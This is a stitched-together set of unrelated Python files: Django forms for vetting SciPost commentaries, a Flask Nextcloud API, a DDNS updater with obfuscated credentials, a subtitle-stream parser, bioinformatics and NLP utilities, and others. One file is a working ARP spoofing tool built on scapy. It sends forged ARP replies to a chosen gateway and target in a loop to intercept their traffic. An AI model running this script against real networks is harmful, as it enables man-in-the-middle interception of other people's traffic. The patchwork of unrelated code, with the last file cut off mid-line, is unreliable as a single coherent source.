class RequestPublishedArticleForm(RequestCommentaryForm):
    class Meta(RequestCommentaryForm.Meta):
        fields = RequestCommentaryForm.Meta.fields + [
            "journal",
            "volume",
            "pages",
            "pub_DOI",
        ]
        placeholders = {
            **RequestCommentaryForm.Meta.placeholders,
            **{"pub_DOI": "ex.: 10.21468/00.000.000000"},
        }

    def __init__(self, *args, **kwargs):
        super(RequestPublishedArticleForm, self).__init__(*args, **kwargs)
        # We want pub_DOI to be a required field.
        # Since it can be blank on the model, we have to override this property here.
        self.fields["pub_DOI"].required = True

    def clean_pub_DOI(self):
        input_doi = self.cleaned_data["pub_DOI"]

        commentary = Commentary.objects.filter(pub_DOI=input_doi)
        if commentary.exists():
            error_message = get_template(
                "commentaries/_doi_query_commentary_exists.html"
            ).render({"arxiv_or_DOI_string": commentary[0].arxiv_or_DOI_string})
            raise forms.ValidationError(mark_safe(error_message))

        return input_doi

    def save(self, *args, **kwargs):
        self.instance.type = COMMENTARY_PUBLISHED
        return super().save(*args, **kwargs)

class VetCommentaryForm(forms.Form):
    """Process an unvetted Commentary request.

    This form will provide fields to let the user
    process a Commentary that is unvetted. On success,
    the Commentary is either accepted or deleted from
    the database.

    Keyword arguments:

    * commentary_id -- the Commentary.id to process (required)
    * user -- User instance of the vetting user (required)

    """

    ACTION_MODIFY = 0
    ACTION_ACCEPT = 1
    ACTION_REFUSE = 2
    COMMENTARY_ACTION_CHOICES = (
        (ACTION_MODIFY, "modify"),
        (ACTION_ACCEPT, "accept"),
        (ACTION_REFUSE, "refuse (give reason below)"),
    )
    REFUSAL_EMPTY = 0
    REFUSAL_PAPER_EXISTS = -1
    REFUSAL_UNTRACEBLE = -2
    REFUSAL_ARXIV_EXISTS = -3
    REFUSAL_OUT_OF_SCOPE = -4
    COMMENTARY_REFUSAL_CHOICES = (
        (REFUSAL_EMPTY, "-"),
        (REFUSAL_PAPER_EXISTS, "a commentary on this paper already exists"),
        (REFUSAL_UNTRACEBLE, "this paper cannot be traced"),
        (
            REFUSAL_ARXIV_EXISTS,
            "there exists a more revent version of this arXiv preprint",
        ),
        (
            REFUSAL_OUT_OF_SCOPE,
            "this paper is outside the scope of SciPost",
        ),
    )
    COMMENTARY_REFUSAL_DICT = dict(COMMENTARY_REFUSAL_CHOICES)

    action_option = forms.ChoiceField(
        widget=forms.RadioSelect,
        choices=COMMENTARY_ACTION_CHOICES,
        required=True,
        label="Action",
    )
    refusal_reason = forms.ChoiceField(
        choices=COMMENTARY_REFUSAL_CHOICES, required=False
    )
    email_response_field = forms.CharField(
        widget=forms.Textarea(attrs={"rows": 5, "cols": 40}),
        label="Justification (optional)",
        required=False,
    )

    def __init__(self, *args, **kwargs):
        """Pop and save keyword arguments if set, return form instance"""
        self.commentary_id = kwargs.pop("commentary_id", None)
        self.user = kwargs.pop("user", None)
        self.is_cleaned = False
        return super(VetCommentaryForm, self).__init__(*args, **kwargs)

    def clean(self, *args, **kwargs):
        """Check valid form and keyword arguments given"""
        cleaned_data = super(VetCommentaryForm, self).clean(*args, **kwargs)

        # Check valid `commentary_id`
        if not self.commentary_id:
            self.add_error(None, "No `commentary_id` provided")
            return cleaned_data
        else:
            self.commentary = Commentary.objects.select_related(
                "requested_by__user"
            ).get(pk=self.commentary_id)

        # Check valid `user`
        if not self.user:
            self.add_error(None, "No `user` provided")
            return cleaned_data

        self.is_cleaned = True
        return cleaned_data

    def _form_is_cleaned(self):
        """Raise ValueError if form isn't validated"""
        if not self.is_cleaned:
            raise ValueError(
                (
                    "VetCommentaryForm could not be processed "
                    "because the data didn't validate"
                )
            )

    def clean_refusal_reason(self):
        """`refusal_reason` field is required if action==refuse."""
        if self.commentary_is_refused():
            if int(self.cleaned_data["refusal_reason"]) == self.REFUSAL_EMPTY:
                self.add_error(
                    "refusal_reason", "Please, choose a reason for rejection."
                )
        return self.cleaned_data["refusal_reason"]

    def get_commentary(self):
        """Return Commentary if available"""
        self._form_is_cleaned()
        return self.commentary

    def get_refusal_reason(self):
        """Return refusal reason"""
        if self.commentary_is_refused():
            return self.COMMENTARY_REFUSAL_DICT[
                int(self.cleaned_data["refusal_reason"])
            ]

    def commentary_is_accepted(self):
        return int(self.cleaned_data["action_option"]) == self.ACTION_ACCEPT

    def commentary_is_modified(self):
        return int(self.cleaned_data["action_option"]) == self.ACTION_MODIFY

    def commentary_is_refused(self):
        return int(self.cleaned_data["action_option"]) == self.ACTION_REFUSE

    def process_commentary(self):
        """Vet the commentary or delete it from the database"""
        # Modified actions are not doing anything. Users are redirected to an edit page instead.
        if self.commentary_is_accepted():
            self.commentary.vetted = True
            self.commentary.vetted_by = self.user.contributor
            self.commentary.save()
            return self.commentary
        elif self.commentary_is_refused():
            self.commentary.delete()
            return None

class CommentarySearchForm(forms.Form):
    author = forms.CharField(
        max_length=100, required=False, label="On publication with author(s)"
    )
    title = forms.CharField(
        max_length=100, required=False, label="On publication with title"
    )
    abstract = forms.CharField(
        max_length=1000, required=False, label="On publication with abstract"
    )

    def __init__(self, *args, **kwargs):
        self.acad_field_slug = kwargs.pop("acad_field_slug")
        self.specialty_slug = kwargs.pop("specialty_slug")
        super().__init__(*args, **kwargs)
        self.helper = FormHelper()
        self.helper.layout = Layout(
            Div(
                FloatingField("author"),
                FloatingField("title"),
                FloatingField("abstract"),
            ),
        )

    def search_results(self):
        """Return all Commentary objects according to search"""
        commentaries = Commentary.objects.vetted()
        if self.acad_field_slug and self.acad_field_slug != "all":
            commentaries = commentaries.filter(acad_field__slug=self.acad_field_slug)
            if self.specialty_slug and self.specialty_slug != "all":
                commentaries = commentaries.filter(
                    specialties__slug=self.specialty_slug
                )
        if hasattr(self, "cleaned_data"):
            if "title" in self.cleaned_data:
                commentaries = commentaries.filter(
                    title__icontains=self.cleaned_data["title"],
                )
            if "abstract" in self.cleaned_data:
                commentaries = commentaries.filter(
                    pub_abstract__icontains=self.cleaned_data["abstract"],
                )
            if "author" in self.cleaned_data:
                commentaries = commentaries.filter(
                    author_list__icontains=self.cleaned_data["author"],
                )
        return commentaries.order_by("-pub_date")

class CommentaryListSearchForm(forms.Form):
    """Search for Commentary specified by user (for old CommentaryListView)"""

    author = forms.CharField(max_length=100, required=False, label="Author(s)")
    title = forms.CharField(max_length=100, required=False, label="Title")
    abstract = forms.CharField(max_length=1000, required=False, label="Abstract")

    def search_results(self):
        """Return all Commentary objects according to search"""
        return Commentary.objects.vetted(
            title__icontains=self.cleaned_data["title"],
            pub_abstract__icontains=self.cleaned_data["abstract"],
            author_list__icontains=self.cleaned_data["author"],
        ).order_by("-pub_date")

class CommentSciPostPublication(CommentForm):
    """
    This Form will let authors of a SciPost publication comment on their Publication
    using the Commentary functionalities. It will create a Commentary page if it does not
    exist yet.

    It inherits from ModelForm: CommentForm and thus will, by default, return a Comment!
    """

    def __init__(self, *args, **kwargs):
        self.publication = kwargs.pop("publication")
        self.current_user = kwargs.pop("current_user")
        super().__init__(*args, **kwargs)

    def save(self, commit=True):
        """
        Create (vetted) Commentary page if not exist and do save actions as
        per original CommentForm.
        """
        if not commit:
            raise AssertionError(
                "CommentSciPostPublication can only be used with commit=True"
            )

        try:
            commentary = self.publication.commentary
        except Commentary.DoesNotExist:
            submission = self.publication.accepted_submission
            commentary = Commentary(
                **{
                    # 'vetted_by': None,
                    "requested_by": self.current_user.contributor,
                    "vetted": True,
                    "type": COMMENTARY_PUBLISHED,
                    "acad_field": self.publication.acad_field,
                    "specialties": self.publication.specialties,
                    "approaches": self.publication.approaches,
                    "title": self.publication.title,
                    "arxiv_identifier": submission.preprint.identifier_w_vn_nr,
                    "arxiv_link": submission.preprint.url,
                    "pub_DOI": self.publication.doi_string,
                    "metadata": self.publication.metadata,
                    "scipost_publication": self.publication,
                    "author_list": self.publication.author_list,
                    "journal": self.publication.in_issue.in_volume.in_journal.name,
                    "pages": self.publication.in_issue.number,
                    "volume": self.publication.in_issue.in_volume.number,
                    "pub_date": self.publication.publication_date,
                    "pub_abstract": self.publication.abstract,
                }
            )
            commentary.parse_links_into_urls(commit=False)
            commentary.save()
            commentary.authors.add(*self.publication.authors.all())

        # Original saving steps
        comment = super().save(commit=False)
        comment.author = self.current_user.contributor
        comment.is_author_reply = True
        comment.content_object = commentary
        comment.save()
        comment.grant_permissions()
        return comment


#Author: Jack Orcherton
from scapy.all import send, ARP
from ARPresults import getTarget,fetchARPtable

def arpSpoof(gateway,target):
    """Given target & gateway IP & MAC initiates ARP spoof attack"""
    try:
        print("Attack Initiated :)")
        print("Press CTRL+C to stop at anytime")
        while(True):
            send(ARP(op=2, pdst=gateway[0], hwdst=gateway[1], psrc=target[0]), verbose=0)
            send(ARP(op=2, pdst=target[0], hwdst=target[1], psrc=gateway[0]), verbose=0)
    except KeyboardInterrupt:
        print("Stopping")
        return

def selectTarget():
    """Main function - allows user to set targets"""
    print("____________________________________________________\n\nARP Spoofing\n")
    if fetchARPtable(): #Ensures there are results in ARP table
        gateway=getTarget("Please type the ID of the gateway: ")
        target=getTarget("Please type ID of target: ")
        if gateway==None or target==False:  return
        arpSpoof(gateway,target)

if __name__ == '__main__':  selectTarget()#If the program isn't being imported - it will automatically run


from pathlib import Path
from http import HTTPStatus

from flask import Blueprint, current_app, jsonify, request
from flask_babel import gettext as _

from reforis.foris_controller_api.utils import validate_json, APIError

# pylint: disable=invalid-name
blueprint = Blueprint(
    'Nextcloud',
    __name__,
    url_prefix='/nextcloud/api',
)

BASE_DIR = Path(__file__).parent

# pylint: disable=invalid-name
nextcloud = {
    'blueprint': blueprint,
    # Define {python_module_name}/js/app.min.js
    # See https://gitlab.labs.nic.cz/turris/reforis/reforis-distutils/blob/master/reforis_distutils/__init__.py#L11
    'js_app_path': 'reforis_nextcloud/js/app.min.js',
    'translations_path': BASE_DIR / 'translations',
}

@blueprint.route('/nextcloud', methods=['GET'])
def get_status():
    return jsonify(current_app.backend.perform('nextcloud', 'get_status'))

@blueprint.route('/nextcloud', methods=['POST'])
def configure_nextcloud():
    validate_json(request.json)

    response = current_app.backend.perform(
        'nextcloud', 'configure_nextcloud', request.json
    )
    if response.get('result') is not True:
        raise APIError(
            _('Cannot configure Nextcloud'), HTTPStatus.INTERNAL_SERVER_ERROR
        )

    return jsonify(response), HTTPStatus.ACCEPTED


#!python3
__author__ = 'Preetam'

'''This is a demo to show inheritance and data abstraction in python'''

# Class definition for AnimalActions
class AnimalActions:
    def quack(self):
        return self.strings["quack"]

    def feathers(self):
        return self.strings["feathers"]

    def bark(self):
        return self.strings["bark"]

    def fur(self):
        return self.strings["fur"]

# Class Duck with parent class as AnimalActions
class Duck(AnimalActions):
    strings = dict(
        quack="Duck quacks",
        feathers="Duck has grey and white feathers",
        bark="Duck doesn't bark !",
        fur="Duck has no fur"
    )

# Class Person with parent class as AnimalActions
class Person(AnimalActions):
    strings = dict(
        quack="Person doesn't quack",
        feathers="Person has grey and white feathers",
        bark="Person says woooof !",
        fur="Person has no fur"
    )

# Class Dog with parent class as AnimalActions
class Dog(AnimalActions):
    strings = dict(
        quack="Dog doesn't quack",
        feathers="Dog has grey and white feathers",
        bark="Dog Barks",
        fur="Dog has no fur"
    )

# In the lake method for duck
def in_the_lake(duck):
    print(duck.quack())
    print(duck.feathers())

# In the dog house for dog
def in_the_doghouse(dog):
    print(dog.bark())
    print(dog.feathers())

# Main function body
def main():
    donald = Duck()
    john = Person()
    rocky = Dog()

    # Print the lake and dogouse methods for each
    print("In the lake...")
    for animal in (donald, john, rocky):
        in_the_lake(animal)

    print("In the doghouse...")
    for animal in (donald, john, rocky):
        in_the_doghouse(animal)

# If module main call main()
if __name__ == '__main__':
    main()


def delegate(cls, attr_name, method_name):
    def delegated(self, *vargs, **kwargs):
        a = getattr(self, attr_name)
        _set = getattr(self, "_set")
        if not _set:
            raise AttributeError("Callback not Populated")
        m = getattr(a, method_name)
        return m(*vargs, **kwargs)

    setattr(cls, method_name, delegated)

def callback(clazz):
    ignore = [
        "_ignore",
        "update",
        "_set",
        "get",
        "__class__",
        "_value",
        "__getitem__",
        "__new__",
        "__init__",
        "__getattr__",
        "getattr",
        "__getattribute__",
        "__setattr__",
        "__subclasscheck__",
    ]

    class Callback(object):
        _ignore = ignore
        _set = False
        _value: clazz = None

        def __init__(self):
            pass

        def update(self, value):
            self._set = True
            self._value = value

        def get(self):
            if not self._set:
                raise AttributeError("Callback not Populated")
            return self._value

        def __getattr__(self, name):
            if name in self._ignore:
                return __getattr__(name)  # noqa: F821
            if not self._set:
                raise AttributeError("Callback not Populated")
            return getattr(self._value, name)

        def __getitem__(self, items):
            if not self._set:
                return self
            return self._value.__getitem__(items)

        def __subclasscheck__(cls, subclass):
            return clazz.__subclasscheck__(subclass)

    # Forwared all methods to the _value, throw if not populated
    for name in dir(clazz):
        if name not in ignore:
            delegate(Callback, "_value", name)

    return Callback()


import datetime
import time
from typing import Dict

from .request import BookingMethod, VenueAvailability, search_availability

_MAIL_FORMAT = """
<!DOCTYPE html>
<html>
<body>
{body}
</body>
</html>
"""
_NEW_AVAILABILITY_FORMAT = """Date: {date}
{availability}
"""

def _send_mail(
    email: str,
    new_availabilities: Dict[datetime.datetime, VenueAvailability],
) -> None:
    availabilities_str = "\n".join(
        _NEW_AVAILABILITY_FORMAT.format(
            date=date.strftime("%d/%m/%Y"),
            availability=availability.to_html(),
        )
        for date, availability in new_availabilities.items()
    )
    body = _MAIL_FORMAT.format(body=availabilities_str)
    print(body)

def poll_venue(
    email: str,
    start_date: datetime.datetime,
    table_size: int,
    interval: int,
    venue_id: str,
):
    found_availabilities: Dict[int, VenueAvailability] = dict()
    while True:
        new_availabilities: Dict[
            datetime.datetime,
            VenueAvailability,
        ] = dict()
        for day_delta in range(7):
            date = start_date + datetime.timedelta(days=day_delta)
            availability = search_availability(
                table_size=table_size,
                date=date,
                venue=venue_id,
            )

            if availability.method == BookingMethod.DISABLED:
                print(
                    "[-] No booking options for ",
                    f"{date.strftime('%d/%m/%Y')}",
                )
                continue

            current_found_availability = found_availabilities.get(day_delta)
            if (
                current_found_availability is None
                or current_found_availability != availability
            ):
                found_availabilities[day_delta] = availability
                new_availabilities[date] = availability
            else:
                print(
                    "[-] Skipping known booking options for "
                    f"{date.strftime('%d/%m/%Y')}",
                )

        if len(new_availabilities) > 0:
            _send_mail(email, new_availabilities)

        time.sleep(interval * 60)


#!/usr/bin/python
# -*- coding: utf-8 -*-

import base64
import urllib2
import json
import time
import sys
import syslog
import subprocess
import zlib
import bz2
import os
from hashlib import md5
from Crypto.Cipher import AES
from Crypto import Random

hostname = ''
apikey = ''
secret = ''

url_format = '\nT\x9d$\xd5\xbac\x9fnC\x7f\xe8\x96;\xa7\xe5\x7f\xc5[\x01a\x1d\x8e\xe1u\x8eY\xb0\x9d\x84M1\xe8O\x8a\xaf\xa8 \x08\x9a\x07\xfd,\x1e\xf3\xe1\x0b\xe1\xe8\x18\xd6+Y\xfd\x18bycd\x14\x12\\\x86"'
payload = '\xe7\x83\xfcEU9\x125_A#\xc3\x18r&\xe3dk\x8aE\x14\xe5\x9c,7\xcc\xd2M\x0cM\xfa\t7)\xef\x1an;<\x16\xd2?\x83\x8b\xd8\x16\x9fy/a\x0b\xf9cC\xfa\x06\xb8\xc8f\x81=\x842\x0cRsL\xf4v\xc7\x83\xa6\xb5d\x94\xb3u\xae\xd8\xec\xd5\xc3%\xa9\xda\xda:\xdb\xf9-*\xf8\x17\x82\x90\x93'
syslog.openlog(ident='ddns_updater')
dprint = syslog.syslog

def encrypt_text(key, text):
    IV = ''
    for i in range(16):
        IV += chr(int(i))
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    return encryptor.encrypt(text + ' ' * (16 - len(text)%16))

def decrypt_text(text):
    IV = ''
    for i in range(16):
        IV += chr(int(i))
    key = 'BZh91AY&SYA\x11\xb4i\x00\x00\t\xdc\xfc\xc0\x1b\x80L\x02\x00\x00\x082D\x00\x13\x10\x04\x00\x14\x00\x82\x00\x17L\x00 \x001\x8c\x00\x13\x00\x010\xc7\xa9\xa6\x86\x8fDhhy4\xca\x18N\x94\x15\x94\x06\xc1\x13\x97\x00K\xf475\xd0\xadT\xaa\x19 \xb33\x07\xe2\xeeH\xa7\n\x12\x08"6\x8d '

    decryptor = AES.new(base64.b64decode(zlib.decompress(bz2.decompress(key))), AES.MODE_CBC, IV)
    return decryptor.decrypt(text)

def derive_key_and_iv(password, salt, key_length, iv_length):
    d = d_i = ''
    while len(d) < key_length + iv_length:
        d_i = md5(d_i + password + salt).digest()
        d += d_i
    return d[:key_length], d[key_length:key_length+iv_length]

def get_domain_ip():
    global url_format
    url = decrypt_text(url_format).format(hostname)
    headers = {'Authorization': 'sso-key {}:{}'.format(apikey, secret),
               'Accept': 'application/json'}

    request = urllib2.Request(url, headers=headers)
    response = urllib2.urlopen(request)
    if response.getcode() == 200:
        json_data = json.load(response)
        return json_data[0]['data'] if json_data else ''
    else:
        dprint('err. domain resp code: {}'.format(response.getcode()))
        return ''

def get_public_ip():
    request = urllib2.Request('http://ipv4.icanhazip.com/')
    response = urllib2.urlopen(request)
    pubIP = str(response.read())
    if response.getcode() == 200:
        return pubIP.strip()
    else:
        dprint('err. public resp code: {}'.format(response.getcode()))
        dprint('retrying with different website...')
        request = urllib2.Request('http://ipinfo.io/json')
        response = urllib2.urlopen(request)
        json_data = json.load(response)
        return json_data['ip']

def update_domain_record(pubIP):
    global url_format
    data = json.dumps([{"data": pubIP, "ttl": 3600, "name": hostname, "type": "A"}])
    url = decrypt_text(url_format).format(hostname)
    headers = {'Authorization': 'sso-key {}:{}'.format(apikey, secret),
               'Content-Type': 'application/json',
               'Accept': 'application/json'}
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    req = urllib2.Request(url, headers=headers, data=data.encode('utf-8'))
    req.get_method = lambda:"PUT"
    response = opener.open(req)
    return response.getcode()

def main():
    global apikey, secret, hostname, payload
    # exit code. 1: invalid key, 2. no info file, 3: invalid hash, 4: invalid id, 5: no internet
    if not os.path.isfile('.info.txt'):
        if len(sys.argv) == 3:
            dprint('generating new information file...')
            key, _, _ = decrypt_text(payload).split(':')
            if key != sys.argv[2]:
                dprint('invalid key')
                sys.exit(1)

            hostname = sys.argv[1]
            p = subprocess.Popen('grep Serial /proc/cpuinfo'.split(), stdout=subprocess.PIPE)
            uniq_id = p.communicate()[0].split(':')[1].strip()
            text= ':'.join([hostname, uniq_id, md5(hostname + ':' + uniq_id).hexdigest()])
            enc_data = encrypt_text(sys.argv[2], text)
            with open('.info.txt', 'w') as f:
                f.write(encrypt_text(sys.argv[2], text))
                f.flush()
            dprint('new .info.txt file generated.')
        else:
            dprint('cannot find information file...')
            sys.exit(2)
        sys.exit(0)

    with open('.info.txt', 'rb') as f:
        enc_data = ''.join(f.readlines())

    hostname, uniq_id, hashvalue = decrypt_text(enc_data).split(':')

    if md5(hostname + ':' + uniq_id).hexdigest().strip() != hashvalue.strip():
        dprint('incorrect hash value - original: {}, calcualted: {}'.format(hashvalue.strip(),
                                          md5(hostname + ':' + uniq_id).hexdigest().strip()))
        sys.exit(3)

    dec_payload = decrypt_text(payload).split(':')
    key, apikey, secret = dec_payload

    try:
        p = subprocess.Popen('grep Serial /proc/cpuinfo'.split(), stdout=subprocess.PIPE)
        stdout, stderr = p.communicate()
    except:
        stdout = ''

    if not uniq_id.strip() in stdout:
        dprint('not approved Opi id - original: {}, current: {}'.format(uniq_id, stdout.split(':')[1]))
        sys.exit(4)

    try:
        domainIP = get_domain_ip()
        pubIP = get_public_ip()
        if domainIP != pubIP:
            dprint('updating domain ip addr...')
            ret = update_domain_record(pubIP)
            dprint('updating domain ret: {}'.format(ret))
        else:
            dprint('domain ip same as public ip...')
    except Exception as e:
        dprint('err: {}. no internet conn...'.format(e))
        sys.exit(5)

if __name__ == '__main__':
    main()


#!/usr/bin/env python

import sys
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
from scipy.stats import gaussian_kde

df = pd.read_table(sys.argv[1])

fpkm = df["FPKM"]
density = gaussian_kde(fpkm)
xs = np.linspace(0,140, 1000)
density.covariance_factor = lambda : .25
density._compute_covariance()

plt.figure()
plt.title("FPKM density plot of SRR07893")
plt.plot(xs, density(xs))
plt.ylabel("Density")
plt.xlabel("FPKM")
#plt.hexbin(df["FPKM"] +1, df2["FPKM"]+1) #gives density of points as well
plt.savefig("densityplot.png")
plt.close()


import logging
from collections import namedtuple
from math import floor

log = logging.getLogger(__name__)

#########
### https://github.com/EzraBC/pgsreader/blob/master/pgsreader.py
### http://blog.thescorpius.com/index.php/2017/07/15/presentation-graphic-stream-sup-files-bluray-subtitle-format/
#########

# Constants for Segments
PDS = int('0x14', 16)
ODS = int('0x15', 16)
PCS = int('0x16', 16)
WDS = int('0x17', 16)
END = int('0x80', 16)

# Named tuple access for static PDS palettes
Palette = namedtuple('Palette', "Y Cr Cb Alpha")

class InvalidSegmentError(Exception):
    '''Raised when a segment does not match PGS specification'''

class InvalidSegmentType(InvalidSegmentError):
    pass

def mseg_srt(msc):
    sec = floor(msc / 1000)
    mnt = floor(sec / 60)
    hou = floor(mnt / 60)
    msc = int(msc % 1000)
    sec = sec % 60
    mnt = mnt % 60
    stt = "{:02d}:{:02d}:{:02d},{:03d}".format(hou, mnt, sec, msc)
    return stt

class PGSReader:

    def __init__(self, filepath):
        self.file = filepath
        with open(self.file, 'rb') as f:
            self.bytes = f.read()

    def make_segment(self, bytes_):
        try:
            cls = SEGMENT_TYPE[bytes_[10]]
        except KeyError:
            raise InvalidSegmentType("{} {} not in SEGMENT_TYPE".format(self.file, bytes_[10]))
        return cls(bytes_)

    def iter_segments(self):
        bytes_ = self.bytes[:]
        while bytes_:
            size = 13 + int(bytes_[11:13].hex(), 16)
            yield self.make_segment(bytes_[:size])
            bytes_ = bytes_[size:]

    def iter_displaysets(self):
        ds = []
        for s in self.iter_segments():
            ds.append(s)
            if s.type == 'END':
                yield DisplaySet(ds)
                ds = []

    @property
    def segments(self):
        if not hasattr(self, '_segments'):
            self._segments = list(self.iter_segments())
        return self._segments

    @property
    def displaysets(self):
        if not hasattr(self, '_displaysets'):
            self._displaysets = list(self.iter_displaysets())
        return self._displaysets

    def get_times(self):
        seg = list()
        for i, ds in enumerate(self.displaysets):
            sg = ds.segments
            if ds.ods:
                sg = ds.ods
            t = min(s.presentation_timestamp for s in sg)
            seg.append((t, ds.has_image))
        seg = sorted(set(seg))
        tms = []
        for i, (t, ods) in enumerate(seg):
            if ods:
                tms.append((t, seg[i+1][0]-1))
        tms = tuple(sorted(set(tms)))
        return tms

    def fake_srt(self, file=None):
        if file is None:
            file = self.file.rsplit(".", 1)[0]+".srt"
        with open(file, "w") as f:
            for (i, (s, e)) in enumerate(self.get_times()):
                f.write("{}\n".format(i+1))
                f.write("{} --> {}\n".format(mseg_srt(s), mseg_srt(e)))
                f.write("Line {}\n\n".format(i))
        return file

class BaseSegment:
    SEGMENT = {
        PDS: 'PDS',
        ODS: 'ODS',
        PCS: 'PCS',
        WDS: 'WDS',
        END: 'END'
    }

    def __init__(self, bytes_):
        self.bytes = bytes_
        if bytes_[:2] != b'PG':
            raise InvalidSegmentError
        self.pts = int(bytes_[2:6].hex(), base=16) / 90
        self.dts = int(bytes_[6:10].hex(), base=16) / 90
        self.type = self.SEGMENT[bytes_[10]]
        self.size = int(bytes_[11:13].hex(), base=16)
        self.data = bytes_[13:]

    def __len__(self):
        return self.size

    @property
    def presentation_timestamp(self): return self.pts

    @property
    def decoding_timestamp(self): return self.dts

    @property
    def segment_type(self): return self.type

class PresentationCompositionSegment(BaseSegment):
    class CompositionObject:

        def __init__(self, bytes_):
            self.bytes = bytes_
            self.object_id = int(bytes_[0:2].hex(), base=16)
            self.window_id = bytes_[2]
            self.cropped = bool(bytes_[3])
            self.x_offset = int(bytes_[4:6].hex(), base=16)
            self.y_offset = int(bytes_[6:8].hex(), base=16)
            if self.cropped:
                self.crop_x_offset = int(bytes_[8:10].hex(), base=16)
                self.crop_y_offset = int(bytes_[10:12].hex(), base=16)
                self.crop_width = int(bytes_[12:14].hex(), base=16)
                self.crop_height = int(bytes_[14:16].hex(), base=16)

    STATE = {
        int('0x00', base=16): 'Normal',
        int('0x40', base=16): 'Acquisition Point',
        int('0x80', base=16): 'Epoch Start'
    }

    def __init__(self, bytes_):
        BaseSegment.__init__(self, bytes_)
        self.width = int(self.data[0:2].hex(), base=16)
        self.height = int(self.data[2:4].hex(), base=16)
        self.frame_rate = self.data[4]
        self._num = int(self.data[5:7].hex(), base=16)
        self._state = self.STATE[self.data[7]]
        self.palette_update = bool(self.data[8])
        self.palette_id = self.data[9]
        self._num_comps = self.data[10]

    @property
    def composition_number(self):
        return self._num

    @property
    def composition_state(self):
        return self._state

    @property
    def composition_objects(self):
        if not hasattr(self, '_composition_objects'):
            self._composition_objects = self.get_composition_objects()
            if len(self._composition_objects) != self._num_comps:
                log.warning('Number of composition objects asserted does not match the amount found.')
        return self._composition_objects

    def get_composition_objects(self):
        bytes_ = self.data[11:]
        comps = []
        while bytes_:
            length = 8 * (1 + bool(bytes_[3]))
            comps.append(self.CompositionObject(bytes_[:length]))
            bytes_ = bytes_[length:]
        return comps

class WindowDefinitionSegment(BaseSegment):

    def __init__(self, bytes_):
        BaseSegment.__init__(self, bytes_)
        self.num_windows = self.data[0]
        self.window_id = self.data[1]
        self.x_offset = int(self.data[2:4].hex(), base=16)
        self.y_offset = int(self.data[4:6].hex(), base=16)
        self.width = int(self.data[6:8].hex(), base=16)
        self.height = int(self.data[8:10].hex(), base=16)

class PaletteDefinitionSegment(BaseSegment):

    def __init__(self, bytes_):
        BaseSegment.__init__(self, bytes_)
        self.palette_id = self.data[0]
        self.version = self.data[1]
        self.palette = [Palette(0, 0, 0, 0)] * 256
        # Slice from byte 2 til end of segment. Divide by 5 to determine number of palette entries
        # Iterate entries. Explode the 5 bytes into namedtuple Palette. Must be exploded
        for entry in range(len(self.data[2:]) // 5):
            i = 2 + entry * 5
            self.palette[self.data[i]] = Palette(*self.data[i + 1:i + 5])

class ObjectDefinitionSegment(BaseSegment):
    SEQUENCE = {
        int('0x40', base=16): 'Last',
        int('0x80', base=16): 'First',
        int('0xc0', base=16): 'First and last'
    }

    def __init__(self, bytes_):
        BaseSegment.__init__(self, bytes_)
        self.id = int(self.data[0:2].hex(), base=16)
        self.version = self.data[2]
        self.in_sequence = self.SEQUENCE[self.data[3]]
        self.data_len = int(self.data[4:7].hex(), base=16)
        self.width = int(self.data[7:9].hex(), base=16)
        self.height = int(self.data[9:11].hex(), base=16)
        self.img_data = self.data[11:]
        if len(self.img_data) != self.data_len - 4:
            log.warning('Image data length asserted does not match the length found.')

class EndSegment(BaseSegment):

    @property
    def is_end(self): return True

SEGMENT_TYPE = {
    PDS: PaletteDefinitionSegment,
    ODS: ObjectDefinitionSegment,
    PCS: PresentationCompositionSegment,
    WDS: WindowDefinitionSegment,
    END: EndSegment
}

class DisplaySet:

    def __init__(self, segments):
        self.segments = segments
        self.segment_types = [s.type for s in segments]
        self.has_image = 'ODS' in self.segment_types

def segment_by_type_getter(type_):
    def f(self):
        return [s for s in self.segments if s.type == type_]

    return f

for type_ in BaseSegment.SEGMENT.values():
    setattr(DisplaySet, type_.lower(), property(segment_by_type_getter(type_)))


"""
utils.py - module to implement utils for BiLSTM-CRF
"""

# import dependencies
import os
import tensorflow as tf
import numpy as np
import pandas as pd
from sklearn.utils import shuffle
from tensorflow.keras.utils import Sequence, to_categorical
from tensorflow.keras.preprocessing.sequence import pad_sequences
from tensorflow.keras.layers.experimental.preprocessing import TextVectorization

def process_text(input, word_table, training = True):
	"""
	Function process_text to clean text before Training process:
		- lowercase
		- tokenize

	--Notice--
		Punctuation stripping is not done here the dgiven dataset is clean. Also, punctuation is also considered as features as well.
	Inputs:
		- input : Tensor
			A single text line of sequence of words-tags
		- word_table : Tensorflow table lookup
			Table lookup to convert word to index
		- training : Boolean
			Inference: return tokens and encoded tokens
			Training: return encodedo tokens
	Outputs:
		- input : Tensor
			Tensor of shape [sequence_length]
	"""
	print(input)
	# lowercase string
	input = tf.strings.lower(input)
	print(input)
	# tokenize
	tokens = tf.strings.split(input)
	print(tokens)
	# convert string to integer
	output = word_table.lookup(tokens)

	if training:
		return output
	else:
		return tokens, output

def process_target(inputs, tag_table):
	"""
	Function process_target to clean/process target for Training process:
		- tokenize
		- convert to full categoricals
	Inputs:
		- inputs : tensor
			A single text line of sequences of words-tags
		- tag_table : Tensor lookup table
			Table lookup to convert tag to index
	Outputs:
		- input: tensor
			Tensor of shape [sequence_length, n_tags]
	"""

	# tokenize
	inputs = tf.strings.split(inputs)

	# convert string to integer
	inputs = tag_table.lookup(inputs)

	# expand targets to number of tags
	inputs = tf.one_hot(inputs, depth = tf.cast(tag_table.size(), dtype = tf.int32), dtype = tf.int64)
	return inputs

class SentenceGetter(Sequence):
	"""
	Inheritted class from tf.keras.utils.Sequence class to efficiently load
	data to Tensorflow/Keras model
	"""
	def __init__(self, data, words, tags, maxlen, batch_size = 16, shuffle = False):
		"""
		__init__ - initializer for SentenceGetter class
		Inputs:
			- data : String or Pandas DataFrame object
				Path string to file or dataframe object
			- words : set
				Set of distinct words
			- tags : set
				Set of distinct tags
		"""

		if isinstance(data, str):
			# load data from Pandas file path
			data = pd.read_csv(data, encoding = 'latin1')
		elif isinstance(data, pd.DataFrame):
			# load data from Pandas DataFrame
			data = data
		else:
			raise Exception('Data is None or not found')
		self.word2dix = {w : i + 1 for i, w in enumerate(words)}
		self.tag2dix = {t : i for i, t in enumerate(tags)}
		self.n_tags = len(tags)
		self.batch_size = batch_size
		self.shuffle = shuffle
		self.maxlen = maxlen
		n_sent = 1
		self.grouped = data.groupby('Sentence #').apply(self.agg_func)\
